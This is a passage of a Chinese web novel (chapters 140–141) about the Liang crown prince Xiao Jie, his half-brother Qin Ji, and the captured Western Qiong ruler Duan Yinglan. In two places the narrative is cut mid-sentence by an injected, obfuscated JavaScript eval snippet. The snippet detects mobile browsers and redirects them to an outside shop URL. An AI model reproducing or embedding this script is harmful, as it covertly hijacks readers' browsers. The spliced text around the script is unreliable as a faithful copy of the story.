东倒西歪的狂飙里,萧玠一跃跳下马背,在地上翻滚了十多圈才爬得起来。他顾不得检查身体,挥开前来搀扶的卫兵,撒开腿向崇教门狂奔而去,便跑边喊:“拦住他!紧闭宫门把他拦下!” 萧玠顾不得仪容,跌跌撞撞地爬上城墙。等他在高处看清上下情形时几乎呕出血来。 两个被打伤的士兵靠在女墙下,城头守备示警的最后一箭已经射落。对面的嘉德门守卫已然备战,无数强弩利箭架上城垛,黑夜中箭头闪烁如成群兽眼。 城下,秦寄已经抢得一匹快马,不管不顾冲宫外方向飞速奔驰。 他要强闯三道宫门。 大梁律示,夜闯禁宫,格杀勿论! 萧玠扑上去按住几欲脱弦的利箭,嘶声叫道:“不许放箭……谁都不许放箭!停下阿寄,停下!” 他这副声色俱厉的模样吓得崇教门侍卫浑身一震,忙放下手中弓箭。但两道宫门相距太远,嘉德门根本听不到太子勒令。 示警无效,万箭齐发。 放弦声如同冰雹砸落人间。 萧玠眼看一支飞箭脱于强弩,以摧枯拉朽之势直奔马背上的红衣—— 他顾不得自己身在万丈城墙、顾不得和秦寄相隔这么远的距离,他什么都顾不得了。尉迟松闻讯赶来、踏上崇教门城墙最后一级台阶时,正听到萧玠肝胆俱裂的一声惨叫。 接着他眼睁睁看萧玠飞身跃下城墙。 140.第 140 章 秦寄胯下骏马即将抵达嘉德门下时,听到天边传来一声大叫。 他本不该回头——但那声音太凄厉,喊得他忍不住回过头来——然后见到他十五年里最最惊悚的一幕。 一团身影从垛口栽下直直坠落。 他疯了秦寄想。 他和萧玠血脉相同的疯狂基因也被这疯人疯景催动,接下来的一切都不受秦寄控制了——在他回神之前,他的身体早已背叛意识拨转马头,刺破箭雨向刚刚逃离的崇教门飞驰而去。极速狂飙时鼓膜震动,他似乎已经听到□□落地骨骼碎裂的沉重声音。 夜太深、城下的阴影太黑了,秦寄根本看不清萧玠摔落在哪块角落。等马头几乎撞到墙根,他才从第无数遍环顾中得出结论——萧玠不在地上。 秦寄猝然抬头,看到半空之中,一件玉白骑装如同死蛾悬网般飘飘荡荡。 萧玠被一只大手紧紧攥住手臂。 城墙上,尉迟松咬牙拉紧萧玠手腕,撕心裂肺地大喊道:“快救人,快!!” 禁卫已然冲到城下,张开华盖盾牌作为垫子。数名士兵放下绳索攀爬下墙,竭力将萧玠扛抱上去。 那件太子白衣越过城垛的一瞬,秦寄几乎是栽下马背。他后知后觉地摸向肩后,摸到一手黏腻热流。 早在掉头奔转的一瞬间中,他就被箭射中了。 *** 当夜皇宫戒严,封锁消息。东宫上下乱成一团。 秦寄包扎好箭伤,隔着帷幔,望向萧玠床前鱼贯出入的人影。一律秩序井然有条不紊,但总乱哄哄惹人心烦。 大内官秋童立在他身旁,急得掉泪。等烛泪半干,太医才从帷幔中走出来。 秦寄身形迅速一动,没站起来,秋童已经冲上前去,焦急道:“殿下怎么样?” 太医揩一把汗,“算是救回来了。但……” 秦寄冷冷冒一句:“但什么?” “贵人知道,殿下前些年神智恍惚,实则是幼年虎祸落下的病根。臣听闻殿下今日又遭虎袭,恐怕就有发作征兆……方才又受了这样大的惊吓……”太医连忙跪下,头也不敢抬,“倘若再受刺激,好则旧症复发,神智恍惚。坏则行为痴滞,如同……疯人。” 秦寄腾地站起来。 秋童忍不住瞧他,见刚包好的伤口又涌出鲜血,一路蜿蜒指缝。 秦寄说:“你治好他。” 说完,立即大步往门外跨去。 秋童心焦如焚,急忙跟出去喊道:“少公,你干什么去!” 少年扬声喝道:“找药!” 他和院中宫人言语几声,便由人引领拐向角门。 那边是通达太医署的近路。 明白秦寄意图,太医忙匆匆跟过去。所有人都退下去,殿内充盈着草药苦气。 秋童擦一把泪,转头要去看萧玠时,浑身一个哆嗦。 *** 秦寄回来时已至后半夜。 东宫陷入一片诡异的静谧。太子卫队戍守在外,侍人们也在院内静候,秦寄穿过他们像穿过一群沉默肃杀的松林。 按理说,让太子陷入危地的罪魁本该隔离在外。 但秦寄径登门户,没有受到阻拦。 秦寄脚步很轻,轻得像年轻时的萧恒。他脚步掠到萧玠床前,隔着帷幔看萧玠的脸。 萧玠脸色苍白,嘴唇紧抿,两条手臂搁在被外,右手新包扎过,犹有鲜血渗出。 秦寄一言不发,从床前蹲下。 不知过了多久,萧玠翻了个身——他似乎一直睡不安稳——迷迷糊糊睁眼,正看见帐外盯着自己的一双眼,像树影后一头野兽的眼睛。 他浑身抖了一下,意识到是谁,勉强笑道:“怎么这样看着我?” 秦寄从怀里掏出什么,穿过帐子递给他,“吃掉。” 是个青色小瓶。 萧玠接下拧开,闻到一股混合草药的腥苦气。他皱眉道:“我不吃药。” “你生病了。”秦寄道,“你要吃药。” 萧玠愣了一会,恍然看向被包扎的手心,笑道:“你说这个——阿寄,这是外伤,哪有再内服的。” 窗没有关严,一缕夜风射入,将床帐当空撩动,两人目光毫无阻隔地灌注对方眼眶。 帐子再落下时,被秦寄伸臂打开。他紧盯萧玠空白的脸,半晌问:“你不记得了?” 萧玠失笑:“我该记得什么?” 秦寄盯着他的眼睛,“你跳了城墙。” “我?跳城墙?”萧玠大惊失色,看了会秦寄,严肃道,“阿寄,别开这种玩笑。” “你不记得了。”秦寄做出判断。 接着他目光投向那只小瓶,示意萧玠:“吃药。” 萧玠无奈,将那药合口吃掉,忍不住皱了皱鼻子,要说什么,一枚蜜饯已经塞进嘴里。 是金桔干,对嗓子好。 萧玠还没回神,秦寄已经把手伸在他嘴边,道:“籽。” 萧玠一怔,道:“我咽下去了。” 那果子用药腌过,甘味尽头有些苦意。自始至终,秦寄脸上毫无波澜。他将身背过去,萧玠以为他要离开,却见他把靴子脱下来。 接着,秦寄解掉外衣裤,毫不尴尬地揭开被子,坐在萧玠身边。他依旧冷淡地看着萧玠,萧玠不由自主地向内挪动,为他让出半边枕头。 *** 萧玠跃下城墙的消息被严密封锁不闻于朝,宫墙之内却人心惶惶。而当事人似乎缺失了这段记忆,处理政事如故,只是在秦寄眼中,他经常会夜间发呆,会不自觉往高处看。 秦寄又在东宫待了几天,但一个人一冷静,心又浮躁起来。 梁皇帝干什么去他心中已经有数,如果梁琼开战,阿耶大概会作壁上观——双方对他来说都没有援手的必要。父母不睦已非朝夕,两地分歧也越来越大,如果借梁皇帝的手除掉阿娘,对阿耶来说未必不是好事一桩。 至于对大梁——如果现在是萧玠当家,阿耶或许会帮一帮。梁皇帝,那个负心薄幸猪狗不如的东西—— 秦寄边想,边观察东宫地形。这些天除了观察萧玠病情,他已经把内外宫的路线摸索出来,要出皇城无论如何都有八分把握。等萧玠稍微好些…… 秦寄的思绪被一阵脚步声打断,他抬头,见被萧玠称呼为“秋翁”的中年内官走进院子。 秋童见他便笑:“少公晒太阳呢。殿下下朝没?” 见秦寄不搭理,他便笑:“看来没有。” 秋童从袖中取出一封折子,神神秘秘地打帘进去,好一会才出来,对秦寄道:“等殿下回来,劳烦少公提醒,最新的奏报搁他案头了。切勿叫旁人瞧见。” 秦寄不置可否。 地形勘探差不多,他准备回屋应付萧玠布置的几篇功课。他刚迈开脚步,就听秋童忙叫一声:“少公!” 秦寄奇怪地看着他。 秋童堆笑:“您稍等,我还是把折子亲自转交殿下吧。” 就算傻子也听出他的意思。秦寄冷笑:“提防我。” 秋童忙笑:“哪里,只是军国大事,到底……” 秦寄道:“滚。” 秋童不以为忤,向他微微躬身退出去了。 秦寄大步走回阁子,一眼瞧见案上的东西。 一封信折,长度略宽,其上插有雉羽。 是羽檄。 紧急军书,皆以此示之。 而今时今日,能越过六部直达太子案头的军书只有…… 秦寄浑身一凛。 那封小小军报如同慈石,将秦寄重如铜铁的双腿吸引上前。他深深呼吸一下,将军报打开。看了没两行,立刻把折子合上,重新放回桌案。 *** 萧玠回来时,正见秦寄在窗下写文章。 萧玠将狐裘解下,纳闷儿地瞧了他好一会。秦寄将纸提溜起来,两篇竟然都写完了。 萧玠哎呀一声,快步上前把纸接在手里,仔仔细细读过去,喜笑颜开:“阿寄聪慧,很有见地,且终于没有骂夫子,可喜可贺。今晚想吃什么?我吩咐人做。” “你想吃什么做什么。”秦寄似乎随口提道,“那个秋什么给你送了样东西,在桌上。” 他说着翻动手头那本老庄,纸上“形若槁骸,心若死灰”的字影苍蝇一样在眼前飘来飘去,而他竖起耳朵,全神贯注听萧玠的动静。 他听到书封被迅速翻开,很久没有再响一声,似乎萧玠已经不在这里。过了一会,才响起纸页翻动的声音,很迟滞,有细微的抖动声。 他想必看到了那里:上赴黄鱼峡,败,损三千,退十里。 等军报被重重合上,秦寄的目光才落在书上,然后仿佛偶尔抬头,正瞥到萧玠神色,问:“怎么了?” 萧玠仍冲他笑,摇摇头,“没什么。去洗手吧,一会吃饭。” 晚饭萧玠没怎么动筷,只吃了两口菜粥便罢了。秦寄抬头,正见萧玠望向门外,神色有一种克制的冲动,眼神极其缥缈,似乎在虚空中看到什么人。 跟他发病见到所谓郑绥的鬼魂时很像。 秦寄心中警铃大作,捏住萧玠腕骨。 萧玠一个哆嗦,额角似乎有冷汗渗出来,笑着问:“怎么了阿寄?” “你刚刚看到了什么?” “没什么。” 秦寄继续逼问:“是郑绥,李寒,之前那个姓虞的,还是别的什么人?” 萧玠将筷子一掼,喝道:“我说了没什么!” 他起身离席,身体有些发抖。过了一会又走回来,脸上带着歉意愧疚,小心翼翼道:“对不住阿寄,我不该跟你发脾气。我今天太累了,我……” “没事。”秦寄打断他的道歉,喝了一口馎饦汤,说,“今晚饭还凑合。” 萧玠明明是东宫的主人,现下却拘谨得像个客人。他沉默一会,眼神盯着地面,几乎要把砖石钉穿——他在地上看到什么,是血迹、人头还是谁的一双脚吗? 秦寄还没想完,萧玠已经道:“我不太舒服,先睡了。我叫人把靶子安好了,你如果想练射术,就去院子里练一会吧。” 萧玠没再说话,人拖着脚脚拖着身子走到床前,衣服也没有更换,就这么背对外面歪到床上。 不一会,一阵脚步声逼近,依旧很轻,但和寻常相比已经着意加重了。 背后传来秦寄的声音:“落日弓断了,练不了。” 萧玠没有答话。 秦寄继续道:“萧玠,落日唯有秦公可持,那是我的。” “嗯。” “它断了,你给我接好。” “好。” 接下来,秦寄的声音也消失了。萧玠听不到他,只能感觉到他。他感觉秦寄像这几个夜晚一样,轻车熟路地从他身边躺下。 不一样的是,这次他抬起手臂,像把自己搂在怀里一样,握住自己身前的手。 秦寄道:“你手好冷。” 此后,两个人一夜无话。萧玠不由自主地把自己蜷缩起来,像要依靠在秦寄怀里。秦寄双手牢牢焊住他的手腕,萧玠知道这是一种规避意外的钳制。 他太理智,以致于忽略这也是一种保护的姿势。 *** 秦寄印象中,奉皇十三年几乎是飞箭般一射而过。萧玠前朝的改革他不感兴趣,唯一吸引他注意力的只有前线军报,它们像雪片一样定期吹向萧玠案头。 梁军战局非常不利,从最初的僵持、留滞到屡败屡战,秦寄每次都能看到奏折后萧玠苍白如雪的面孔。他的精神状态随军报的不断送达每况愈下。 梁皇帝负伤的消息送达后,萧玠不饮不食,佛前跪经直至深夜。他的诵经声中断几次,秦寄看到他目光痴滞地望向月亮。 秦寄从窗上轻盈跃下,如同鸟精化人般,双脚落到地上。萧玠唇中梵音和指间念珠辘辘转动的声音无休无止。 秦寄又听了一会,道:“行了,去睡觉。” 萧玠叩首在地,一动不动。 秦寄冷笑:“这十多年来,你替阿耶这么虔诚地跪过几次?” 萧玠脊背颤动一下,手指扣紧念珠,依旧没有起身。 秦寄鼻孔舒张几下,道:“别逼我拖你上床。” 这话出后,萧玠仍没有动作。秦寄说到做到,一只手把他从地上提溜起来。 他故意用了很大手劲去捏萧玠的手腕,萧玠仍一声不吭。秦寄看着对面那双酷似父亲的眼睛从枯涩到满盈泪水,下一刻,萧玠面对面将他抱住了。 这个十五岁的少年,他抱他已经需要微微仰脸了。 萧玠哑声说:“阿寄,我很害怕。” 秦寄眼睑颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768088|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动一下。 “其实我早明白,有战争就有胜负,有胜负就有生死。不管是我爹还是你娘,我们都没办法。”萧玠说,“离了谁,人都一样活。” 秦寄由他抱着,嘴唇嚅动,终究抿成一线。 说什么,胜负未分,梁皇帝不一定会死——那死的是谁,是他阿娘吗? 这时,他听见萧玠在耳边问:“你恨我吗?” 秦寄问:“为什么。” “为一切事。为我是大梁的太子,陛下的儿子。” “我和萧恒,与你无关。”秦寄冷冷说。 “那你会恨我吗?”萧玠追问,“现在……将来?” 秦寄问:“你能算到将来吗?” 他感觉萧玠在他怀里打了个哆嗦,接着,他感觉萧玠攀附他似的手臂软下来,但仍挂在他身上,只是不像方才那样紧密地缠抱了。 萧玠似乎有些鼻塞,声音也瓮瓮的:“不早了,睡吧。” *** 萧玠为秦寄新修的跑马场在初夏时分竣工了。说是新修,实则是把一块荒败的园子清理出来,从库房找了些兵器添置而已。虽不比正规演武场宽阔,但一个人跑马也够了。 秦寄有时候觉得萧玠挺奇怪,他舍得给秦寄的衣食住行花费大价钱,譬如日常的鳆鱼、稀罕的文具,怕秦寄热,早开了冰库提前用冰。但同时,这桩桩件件又要走他自己的账面,不占国库一贯钱。 萧玠自己划分了国君民三清的财政体系,有时候他的分例银子入不敷出,还得去公账记账,下个月某日取银交还。 秦寄就没听过有这样的储君。 秦寄也没想到,自己在这么个四四方方的地界,能老老实实待上一年。 他一有问题想不明白就容易急躁,一急躁就强迫自己冷静,这时候,他就会磨那把虎头匕首,哪怕已经利得不能再利。 剑从白天磨到夜晚,萧玠才从外面回来。 这一段时间,萧玠似乎比从前忙了不少。而且看上去是出席仪式的那种忙——萧玠已经连着五天穿礼服了,回来里衣都被汗水溻透。而且十天里有八天要夜间才回宫。 这次也不例外。 秦寄不会等他吃饭,自去院中射箭。萧玠便自己收拾停当,先去沐浴。 夜间极静,一墙之隔外,秦寄听到热水倾倒的哗啦声。 屋里安静下去。 萧玠一个时辰都没有出来。 秦寄射掉最后一个靶子,把弓丢开,大步跨到门前。 一进门,他就隔着屏风看到萧玠身影,整个人靠在浴桶上,静悄悄地没有声息。秦寄迈步上前,也没有将他惊动。 这么长时间,洗澡水早就冷透了,没有热汽遮挡,他水下的身体一览无遗。 没有伤口和血迹。 这一会,秦寄也听到了他舒长的呼吸。 看来是睡着了。 这么冷的水,居然没把他冻醒。 这想法在秦寄脑中打了个转,下一刻,他在空中闻到一缕古怪的锈味。 似乎是血气,还有一股浓重的草药味。而且不是出自萧玠的身体。 秦寄鼻子耸动几下,追寻到那味道的源头,抬手翻检萧玠脱下的礼服。在从袖子处找到一块血迹药汁混合的痕迹时,一团莹白光影率先捉住他的眼睛。 他不可置信地睁大眼睛,盯视一会,突然浑身颤抖起来。 秦寄拽下那物的动作惊醒了萧玠,他一个哆嗦,睁眼看到秦寄站在面前,手里攥着他今日刚刚收到、未及放置的玉佩。 秦寄抓着玉佩的手几乎打出一拳般横到萧玠眼前,他冷冷问:“哪里来的?” 萧玠心突地一跳,“阿寄……” “这是我娘的东西。”秦寄说,“怎么会在你手里?” 萧玠深深呼吸几下,试图安抚他,“阿寄,你先听我说……” “梁皇帝回来了,你身上的血迹是给他包扎时沾的。”秦寄打断,“他不是已经兵败了吗?” 萧玠深吸一口气。 “我明白了。”秦寄右手颤抖,萧玠一点也不怀疑他下一刻会掐住自己脖子。秦寄眼中喷出冰冷青色的火焰,“那些军报、你的恐惧、你的病——全都是假的。你是想稳住我,不要妨碍梁皇帝剿灭我娘的大业!” “耍弄我很得意是吧。”他几乎是赞叹,“萧明长,你好会演啊。” 萧玠嘴唇嚅动几下,人却像一条断鳍的鱼一样跌在水底。下一刻,秦寄把他从水里拎出来,像他预想中的一样也不一样——秦寄掐住他的脖子,发力时又改捏他的后颈。 秦寄扯痛了他的头发,而他作为真正的罪魁,却被胸中产生的钝痛激出眼泪。他知道这一切终会发生,他和秦寄终会无可抵挡地走向立场或生死的对立。他对不住秦寄,像父亲对不住阿耶、历朝历代需要铲除外戚的君王对不住枕边人一样。她们或许曾为丈夫无怨无悔地生儿育女,但真相大白之时未必不会把对方掐死在睡梦里。 无所谓了他想,至少某时某刻,他曾挨着这具血脉相连的身体。 …… 萧玠跳下城墙之夜,东宫乱成一团。秦寄快步而出后,秋童回头看向萧玠安身的床榻,吓了一个哆嗦。 萧玠已经从床上坐起来。 秋童忙打起帷幔,几乎扑到萧玠跟前,想碰他又不敢碰,颤巍巍道:“殿下,你……” 萧玠握住他双手,露出一个安静的笑容:“秋翁,我没事,叫你担心了。” 秋童浑身仍战栗不停,“可太医说……” “是我说的。”萧玠道,“我有这个旧症,此时发作合情合理。阿寄虽通药物,但不善辨症。小孩儿,好糊弄。” 秋童在他安抚的目光下渐渐平静,眼泪又涌出来,“你吓死奴婢了。尉迟将军说你直接从城墙跳下去,我这条魂都要飞了……你但凡有个三长两短,我怎么跟陛下、怎么跟天下人交待啊……” 萧玠叹口气,轻轻拍打秋童后背,问:“阿寄伤得如何?” 秋童只是摇头。 萧玠默了一会,道:“阿爹亲征的事,他知道了。” 秋童猝然抬首,对上萧玠双眼时胆战心惊。此时此刻,萧玠素来温润的眼底闪烁疯光。 “没人能把他困进宫墙。”萧玠冷静道。 “他留下只能因为他想。” 141.第 141 章 在秦寄不知天下皆知的一墙之外,梁皇帝擒获西琼宗主,得胜返京。 段映蓝身份特殊,没有押入大理寺,而是被囚禁神龙殿,由禁军严加看管。神龙殿门窗钉死,不设烛照钟漏,无从得知时间早晚。 直到殿门开启,一道夕阳将门前人影射入殿内也射入段映蓝眼中。 她知道那是萧恒。 随着萧恒走入,灯火点亮。 萧恒未穿甲胄,也未着冠冕,只是一身普普通通的黑衣。他从段映蓝对面坐下,两人中间相隔的桌案也由禁军捧上樽俎,另一只炙烤的大雁。 段映蓝自己先倒一碗酒,吃了一口:“多年过去,梁皇帝还是穷酸依旧。这样寡淡的土酒,我帐中最低等的士兵都不屑饮。” 萧恒也倒一碗酒,“手不经农桑,安配饮美酒。” 段映蓝不恼,挟一筷雁肉咀嚼,“这滋味儿还成。不过不比我和秦公新婚之夜,那只大雁更肥美鲜嫩。” “他那时候怀着孕,那只聘雁,估计是你替他射的。”段映蓝转动酒碗,“秦灼没有帮我,你很得意。” 她目光凿在萧恒脸上,“当年我殿上求亲,梁皇帝,你恨死了吧。” 萧恒眼中如箭,亦相回视,“未若玉升元年潮州之仇。” 段映蓝咯咯笑起来。这么多年,老天对她太过眷顾,她的笑容还是像一朵罂粟一样艳丽有毒地绽放,而萧恒已然两鬓蒙霜。 段映蓝道:“君子报仇十年不晚,领教了。只是你以为擒了我杀了我就是胜负已定吗?别忘了,我青弟尚带兵在外。” “身负重伤只身而逃,也叫带兵在外。”萧恒道,“西琼好计量。” “你不用讽刺我,梁皇帝,就算你杀了我,你又能活几日?一年,两年?”段映蓝盯紧萧恒瞳孔,“大梁国力并非鼎盛,你不顾穷兵黩武也要剿灭西琼,不就是因为时日无多了吗?你马上就要油尽灯枯,而我青弟正值壮年,你死后还有谁能抗衡?你那个手无缚鸡之力、短命将死的儿子吗?据我所知,他也是个分桃断袖之辈。你们大梁的国祚就要断了。” 她对萧玠的诅咒之语一出,萧恒浑身绷紧,如果放在十年前,他大抵会当即扭断她的脖子。但现在,萧恒平静道:“你一个死人,无须操心身后之事。” 他一瞬不瞬地盯住段映蓝眼睛,“我会杀你,明正典刑。但只杀你太便宜你了。” 段映蓝靠近,毫不客气地和他对峙:“我知道阿寄在你手里,你可以杀他试试。” “我知道,你还有个孩子。” 段映蓝眉毛抖动一下。 “是你和段藏青的孩子。是奉皇六年,少卿还在长安时你生下的。你把他藏得很好。”萧恒说,“但我会找到他。像你鼓动公孙铄兄弟,屠尽樾州去找萧玠一样。” 段映蓝五官哆嗦起来,“你想干什么?” “这要问你,当时想怎么对待我儿子。”萧恒冷静地看她,“段宗主,你也说了,我是穷酸之人,只这一个儿子,他是我的命根子。有人想虐杀他,你说我是不是要以牙还牙?” 父母之罪不累子女。实话说,萧恒并没有杀她孩子的打算。 他只是要诛段映蓝的心。 像她多次迫害萧玠,来诛他的心一样。 段映蓝的脸部扭曲起来。 萧恒放下酒碗,起身就走。 段映蓝突然叫道:“等……等等!” “萧玠在南秦有座太子祠!”她突然没有缘由地冒出这一句。 萧恒脚步卡住。 段映蓝继续道:“秦灼在他病中时为他供奉过一块玉佩,足足割血月余。” 萧恒猝然回头,见段映蓝手中悬着一块玉珏。 她说:“放过我的孩子,我把这个给你。” 萧恒道:“段宗主,你在我这里毫无信用。” “秦灼的私印你不会不认得。”段映蓝把那块玉佩丢给他,“你自己看!” 萧恒接住玉佩,见络子上结系一枚仿印玺形状的小小金饰,刻纹的确是秦灼私印所出。 萧玠病重垂危之际,秦灼送来郑挽青,自己没有赶到。但萧恒和萧玠都明白,他千里之外恨不能身代的那颗父心。 萧恒将玉佩握在掌心,跨步就走。 段映蓝在身后喊道:“你答应我了……你收下就是答应我了!” 她当然不会得到萧恒的回答。 神龙殿门关闭的一瞬,段映蓝悲痛欲绝的脸上居然刻下一道古怪的微笑。 萧恒一定有埋藏西琼的细作,却绝不会有潜伏南秦的线人,这也就使得他对敌人了如指掌,却对自己的致命之患一无所知。 活不活不重要。段映蓝饮酒大笑,只要能让你死。 *** 那块玉佩被以为是秦灼的祈祷之物,由萧恒转赠萧玠。但只有南秦宗室的个别人知道,这是秦灼赠予段映蓝的公夫人凭信。这和情感好坏无关,只是祭祀仪式的一个部分。但这个部分出于某种政治目的,一直被段映蓝随身佩戴。 秦寄不可能不认识。 她是有意的。 被掐住后颈的一瞬,一道雷电击中萧玠脑海。 看样秦寄在东宫的事情,段映蓝并非无知。她也料到父亲攻琼之事会隐瞒秦寄。而她要做的,就是让秦寄知道这一切。 父亲万事谨慎,只有两根软肋。一块玉佩便将自己和阿耶同时关联,难保他不会心有颤动。 交给自己之前,父亲肯定查证过此物是否有毒,却想不到,真正有害的,是它的来处。 浴桶被打翻,冷水泼漫一地,萧玠被秦寄拎起来,像一条即将枯死的鱼。 ……可她究竟是为什么,只为离间自己和秦寄的骨肉之情,还是想通过秦寄寻找新的生机? 秦寄不过是个孩子,皇宫大内重兵重重,只凭他一人如何救她? 她到底要做什么? 秦寄的声音将萧玠这些纷繁思绪打断:“我阿娘在哪里?” “我不知道。”他的手又扣回萧玠咽喉,萧玠呼吸有些困难,“我没有见过她。” “不知道。”秦寄音冷如霜,“那我就这么把你拖出去,看看你会不会知道。” 他视线往下一扫,审视萧玠未着寸缕的身体像身世一块死肉。萧玠忍不住打了个寒噤。 下一刻,秦寄捏紧他脖颈,大步就往门前跨去。 萧玠用力掰他手指,声嘶力竭喊道:“放开我!秦伯琼你放开我!你不能这么对我……你……你不能……” 萧玠挣扎得那么无力,叫喊也是,不一会就化成泪串子,噼里啪啦地砸在秦寄手上,却未能将他的铁石之心穿透分毫。秦寄一脚把门踹开,就要把他这么赤身裸体地扔出门外。 夜风扑上肌肤的一瞬萧玠几乎失声喊道:“我带你去……我带你去!” 秦寄冷冷睨他一眼,把他丢到地上,“梁太子,你最好不要跟我耍花样。” 萧玠伏在地上大声咳嗽,眼泪不断涌出,上气不接下气。他把脸擦干,撑着浴桶起身,长发水藻般湿漉漉地黏在身上。 萧玠勉强均匀呼吸:“我带你去……我穿件衣裳。” 秦寄未置可否。 萧玠迅速擦干身体,穿好里外两件袍子,浑身都在发抖,连一旁木架子都撞翻了,荷包香囊等物什滚翻一地。萧玠从里面找了半天,才拿起罗袜哆哆嗦嗦穿好,一起身,仍是垂泪。 他摘下盏灯笼,对秦寄道:“你跟我来吧。” 夜间寂静,犹有巡逻侍卫来往。见萧玠提灯迎他们去,秦寄拧住他手臂,“别想跟我耍花样。” 萧玠吃痛,忙抓他手腕,“我没有,这边路近。你不想走,那我换条路。” 两人往僻静处走去。秦寄走得快,几乎是拖着萧玠。这次也不怜惜他,用了十成十的力气掐他手腕。萧玠吃痛,一路反抓他的手,已经从他手背抓出几道血痕。 自从被拖出浴桶,他的泪珠子就没断过。现在也不出声,只是静静地流泪,声音有些哭腔而已。这副姿态,倒像秦寄对不住他。 秦寄蹙眉,似乎厌恶,“我最烦见男人哭。” 萧玠欲抬袖揾面,道:“阿寄,你松一松我好不好,我擦把脸。” 秦寄抬手给他抹了把脸。 风灯在动作间彭楞彭楞响着,秦寄拧紧他手腕,就要扯他。脚往前跨步,突然觉得天旋地转。 他一下子就明白了什么。 他看到自己手背血痕,进而找到遮掩在袖下萧玠的双手,指甲缝里的淡红粉末和他鲜血混合一处—— 秦寄劈手就要捏他肩膀,一步跨过去却像踩在棉花上。萧玠那张可恶可恨的脸,闪烁成水中倒影般的模糊面容。 秦寄栽倒在地时萧玠扑上去抱住他。秦寄脸上仍保留昏迷前一刻的愤怒神色。萧玠看向自己双手,在借口穿袜时他撞倒木架,从一只香包里找出药丸捏开,把药粉塞入指甲。 这是郑绥在吴州出行前留给他的。他现在都记得郑绥回来后,将它系他在腰间时的神情。 郑绥说,我总不能时时在家。若有万一,记得用这药。 说到这里他笑了:自然,你这辈子都用不着才好。 萧玠浑身湿淋淋地,猛地打了个寒战。紧接着,他把秦寄放在地上,大步走到路边,叫道:“来人!” 巡逻卫队迅速赶来,见他形容大惊失色:“殿下,您这是……” 萧玠冷静道:“把少公带回殿中严加看管。他不出一个时辰就会苏醒,你们能拖多久拖多久。可以用绳索,但不许伤他,否则以犯上论处。” 这一会,瑞官已经寻找过来,忙拿狐裘裹紧他。这熟悉的皮毛气味手臂般将他包裹时,萧玠忍不住又掉下一串眼泪。 他迅速擦干脸,变回众人熟知的皇太子形象。 萧玠道:“去神龙殿。” *** 秦寄苏醒时,太阳光已射入窗棂。 他眼珠滚动一下,猝然翻身坐起,发现自己四肢被绳索捆缚。他一动,门前戍守的东宫卫立即提步上前。 侍卫抱拳道:“殿下有令,鹤驾返还前,少公不能出房门半步。请少公勿要为难卑职。” 秦寄并不多言,欲挣断那绳索,发觉里面掺了铁丝,估计是捕兽所用。他冷笑一声,更加了一倍力,绳索嵌入肌肤,登时鲜血淋漓。 萧玠勒令不许伤他,侍卫大惊失色,忙要上前阻拦。秦寄却仿佛毫不知痛,将绳撑到手部能稍稍活动,当即探手往靴边拔了虎头匕首割断绳索,在侍卫扑上来之前投身撞出门去。 他一径跳树翻墙跃出东宫,从墙下捉住一个匆匆赶路的宫女,“西琼段宗主在哪里?” 那宫女吓了一跳,手中果盘撒了一地,“妾……妾不知道呀。” 秦寄把匕首顶在她喉边,“不知道?” 宫女被剑锋逼到墙根,泪花四溅,哽咽着说不出什么。追出门来的脚步声响起,秦寄一下子松开她,“没关系,我知道了。” 东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768699|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫卫赶出来时已经不见秦寄踪影,忙问宫女:“南秦少公呢?人哪里去了?” 宫女捂着脖子跌坐墙下,哭道:“他……他找他娘去了!” 两个侍卫一对视,大叫一声:“不好!”头也不回地冲西边宫门飞奔而去。 屋檐上,倒吊的秦寄一跃而下,跟踪他们一路奔去。 两个侍卫先到崇教门,城门乍开乍合之际,突然一道黑影从天而降,一脚踢翻一人抢过骏马,当即喝马过城。城上卫队突逢此变,正要挽弓,下面两名东宫侍卫已大声喝道:“住手,是南秦少公,统统住手!” 萧玠因秦寄跳城之事闹得何其之大,自此之后,萧玠更是传令内外,见秦寄如其驾临。一听是秦寄,弓上箭矢当即收住势头,弓弦再不敢放松一分。 趁此间隙,秦寄一打马腹,从缓缓合闭的宫门缝隙间直冲而出。 听他马蹄渐远,较年轻的卫兵忍不住在城墙下急道:“就这么叫他走了?殿下的交待怎么办!” “出了崇教门,还有嘉德门、重明门、嘉福门,他就算插了翅膀也飞不出宫去!”年长者道,“再说,他要找他娘——他哪知道段氏在哪里?” 秦寄的确不知道,但在跟到崇教门的时候,秦寄心下就有了判断。 这是出宫的路——段映蓝原本在宫里,现在却不在宫里。 皇帝或太子,突然调换了重犯囚禁之所。今时今日,只有一个可能。 他们要杀她。 要处斩这么一个声名赫赫的敌方首领,肯定要起到宣扬国威的作用,一定在一个官民围集、布告宣旨之处。 只有宫门——萧玠设立“大问对”的地方——永安门! 快,要再快! 秦寄用不惯马鞭,他控紧马鬃,逼近嘉德门时从马背上一跃而起,竟如猿猱般援墙而上——恐怕这是两个侍卫不曾料到的。而城门侍卫想必听闻了太子令旨和秦寄的威名,没有一个敢下死手阻拦。 对一群打鼠忌瓶的酒囊饭袋,秦寄不费功夫便逃出包围——他在攀上城墙阳面后,跃身从阴面翻下去。 士兵们的大叫声尚未出口,便见秦寄如攀树而下的猴子,以手中匕首为凿子,迅速钉墙而下。可就算他天赋非常,如此越出嘉德门体力已经消耗殆尽。 